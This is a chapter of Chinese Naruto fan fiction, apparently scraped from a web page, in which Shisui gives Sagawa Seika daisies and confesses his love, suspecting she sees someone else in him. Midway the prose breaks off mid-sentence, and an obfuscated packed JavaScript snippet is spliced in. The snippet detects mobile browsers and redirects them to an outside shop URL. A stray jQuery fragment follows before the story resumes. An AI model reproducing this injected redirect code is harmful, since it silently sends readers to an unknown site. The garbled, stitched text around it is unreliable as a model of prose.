自经历这件事后,宇智波鼬明显开始躲着佐川生花了。
而为了履行对宇智波止水的诺言,也是为了了解宇智波鼬的情况,佐川生花主动约了宇智波止水出门。
宇智波止水很早之前就到了约定地点,手里还拿着一束雏菊,上面还带着些许露珠。
花朵很新鲜,宇智波止水去买的时候,店家还在给花束喷水,他挑了半天才挑出这一束花。
风一吹,雏菊的花瓣就开始颤,露珠顺着花瓣不断往下滑,简直像在哭一样。
“哟,止水,在想什么呢?”一只手抚上了宇智波止水的肩膀。
宇智波止水先是吓了一跳,随后转过身来,发现是佐川生花,这才放下了警惕。
“生花姐隐藏气息的忍术练得愈发厉害了,就连我都没能察觉出来呢。”他打趣道。
只见今天佐川生花身穿一条浅色波点连衣长裙,裙长直至脚踝,配了一双黑色坡跟鞋。她的头发则是披在身后,白色的发丝在阳光照射下格外耀眼。
正如宇智波鼬所说的,佐川生花平时并不戴配饰,而今天唯一佩戴的便是宇智波止水送的手链。
风将她的长发吹起,她将吹乱的头发尽数拨到脑后,免得挡住自己的视线。
宇智波止水笑了笑,将手中的雏菊摘了一朵下来,插进佐川生花的耳边。
佐川生花倒也没有躲,只是鼓了鼓一侧脸颊:“希望它不要一会儿就从耳边掉下去了……”
宇智波止水认真地说:“生花姐想要多少就有多少。”
“如果掉下去,就立马换一个新的。”
佐川生花因为宇智波止水的话语愣了一下,脸颊飞上薄红,接过宇智波止水手里的雏菊花束:“真是的,你惯喜欢哄我开心。”
“果真是瞬身止水啊,反应就是快。”
“是啊,”宇智波止水顺着佐川生花的话说了下去,“能够哄得生花姐开心,那我这个瞬身止水的称号也没有白瞎。”
佐川生花嗔道:“真是嘴贫。”
宇智波止水只是晃了晃佐川生花的衣袖,像是想要吸引大人注意力的小孩。
小孩发问:“生花姐今天找我还有一个目的吧?就是想要问鼬的事情?”
佐川生花微微有些惊讶,张了张嘴巴,却找不出来任何反驳的话语。
“对不起……明明今天不应该提其他人的。”
宇智波止水只是摇摇头:“没关系,鼬毕竟是弟弟呢。”
“鼬是在我们俩眼皮子底下长大的,我也把鼬看成我的弟弟。所以,生花姐不必担心。”
“我会好好照看鼬的。”
不过鼬前几天的话是什么意思呢?
佐川生花想要问,却犹豫了半天,选择了把话吞了回去。
她有点不知道怎么开口,毕竟宇智波止水刚刚说出了那样的话。
佐川生花握住花束的手都忍不住紧了些。
从小到大都是这样,仿佛所有人都想要把她排挤在外面。
宇智波是一个高傲的家族,佐川生花再努力去融入他们,他们自始至终都会跟她划清界限。
她本以为自己亲手带大的弟弟会有所不同,但没想到他依然选择了隐瞒自己。
难道打着为了她好的名头,说不想让她牵扯进来,就是对的吗?
佐川生花将脚下的石子踢走。
她好像永远都与身边的人隔着一层膜。
她有点想带土了,估计只有那个笨蛋会毫无保留地对待自己……
佐川生花抬头,想要询问宇智波止水一些问题,却没曾想风刚好吹过,把先前他替她簪好的花朵吹落了。
说来也是巧了,这雏菊刚好被吹到她脚下,佐川生花一没留神,便踩了上去。
等到回神后,佐川生花看着脚下被踩得焉巴巴的花:
“……啊。”
她有些心虚地咽了咽口水:“对不起,止水。”
“这又有什么好道歉的呢,生花姐。”
宇智波止水凑到佐川生花的身边,用食指抚过花束上的露珠,将其展示给佐川生花:
“你瞧,它可是因为没能让生花姐开心而流泪呢。”
“我买花就是为了让生花姐开心的,要是反而让你觉得抱歉,这不是弄巧成拙了吗?”
宇智波止水本来就长得俊秀,黑色短卷发,平时又爱笑,加上实力强悍,族内不知道有多少小姑娘芳心暗许。
说这些话的时候,他还悄悄地朝佐川生花眨了眨眼,看起来狡黠、可爱。
说起来,宇智波带土也跟宇智波止水一样,是个开朗爱笑的性子。
只不过,宇智波带土是一个笨蛋,而宇智波止水是少年天才。
似乎是因为想起了以前喜欢的人,佐川生花的嘴角忍不住带了些许笑,连眼神都变得柔和了许多。
她俯身,轻嗅花香:
“谢谢你,止水,我真的很开心。”
宇智波止水看见佐川生花笑的样子,也忍不住笑了起来。
他的眼睛像是刚烧了没几分钟的水,手伸进去只觉得温暖;那眼神里噗通噗通地往外冒着情绪,升起来的白气缠缠绵绵地跑到掌心,留下湿润的吻。
宇智波止水捻了捻指腹,露水很快就消失了。
“每次生花姐都只在意鼬,好像我怎么做都无法吸引你的注意力。”
泪水被抹干了。
像是在抱怨,又像是在撒娇。
小孩开口:“到底该怎么才能让生花姐注意到我呢?”
佐川生花先是被这一通话给打蒙了。
此时此刻,站在面前的人像是过年讨糖的小孩,委屈巴巴地问为什么要给自己同伴分更多的糖。
想到这里,佐川生花的眼睛不免带着些许笑意。
“生花姐把我当成撒娇的小孩了吗?”可面前的人却说出了这样的话。
“再过几年,我就可以结婚了,生花姐还要把我当成小孩吗?”
……什么意思?
佐川生花的脑子开始罢工了。
这说的是人话吗?她怎么理解不了呢?
佐川生花秀气的眉毛皱起,握住花束的手都紧了些,嘴里还喃喃着那个让她费解的词语:“……结婚?”
她“呃”了一声,小心翼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497869|202588||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翼地开口:“呃?你有喜欢的女孩了?那恭喜……?我到时候给你包个大红包?”
宇智波止水的嘴唇绷紧,笑容逐渐消失了。
佐川生花看见他这个模样,忍不住发散思维,她在想:这个时候就跟带土不太像了。
“生花姐是在透过我看谁呢?”
宇智波止水点破了佐川生花的幻想,步步紧逼。
他眼中的情绪像被煮开的水,不断沸腾翻涌,此时若伸手触碰,只会感到痛苦,留下被烫伤后不可磨灭的伤痕。
“生花姐,你真的这么迟钝吗?还是在自欺欺人。”
说到这里,宇智波止水忍不住捻了一下指腹。
干燥、温暖的指腹,仿佛刚刚的湿润只是错觉。
他扯出一抹笑,目光却望向了佐川生花手中的雏菊:“……我,对你一见钟情,第一次见面就喜欢上了你。”
佐川生花的手颤了颤。
雏菊因为这举动,也抖了抖,泪水顺着花瓣往下落。
“生花姐应该记不住了吧?第一次见面的时候,那时候我受了伤,也是你给我治疗的。”
宇智波止水陷入了回忆,眼神变得十分温柔:“那时候我还不听话,你狠狠给了我个脑瓜崩,骂我笨蛋,还不快快躺好?”
“那个时候,你看我的眼神跟现在一模一样。但我在那时候还不明白,只是看着你为我担心、着急的模样,心跳忍不住加快了。”
“后来我才明白,生花姐,你是在透过我看谁吧?”
宇智波一族最引以为豪的便是自己的眼睛,这份血继限界让他们赫赫有名,是无往不利的武器。
因此,他们看向别人的时候,也会第一时间看别人的眼睛,透过眼睛来揣测别人的性格、想法。
佐川生花的眼睛是温暖的碧绿色,像是春天的潭水,生机勃勃、春意盎然的绿,她担忧地望着别人的时候,眼睛会充满哀伤,让对视的人也变得心痛了起来。
宇智波止水也曾得到过这种眼神。
在慌张、心痛的同时,他也不免带着些许窃喜。
是我让你变成了这样吗?你在因为我而痛苦吗?你是如此在意我吗?
可后来,等到他慢慢品味的时候,才发现这个眼神似乎不是因为自己而起的。
于是,他问:
“能不能告诉我那是谁呢?”
他步步紧逼:“让你如此牵肠挂肚的人,究竟是谁呢?”
他说:“我比不过鼬,他是你自小带大的弟弟,所以你比较在意他。但是,我也有点优势在的吧?因为我跟生花姐喜欢的人很像……”
“对吧?”
风吹乱了宇智波止水的黑色卷发,他头上的护额在阳光的反射下,格外刺眼,让佐川生花不敢去看他。
说出这些话的宇智波止水出乎意料的平静,他的表情淡淡的,仿佛什么都不在意。
“说起来,这不是你的错吗?生花姐,当初是你用这种眼神看着我的,是你挑起这一切的。”
宇智波止水喃喃道:“挑起这一切后,又随意扔掉……”
“未免也太过分吧,生花姐?”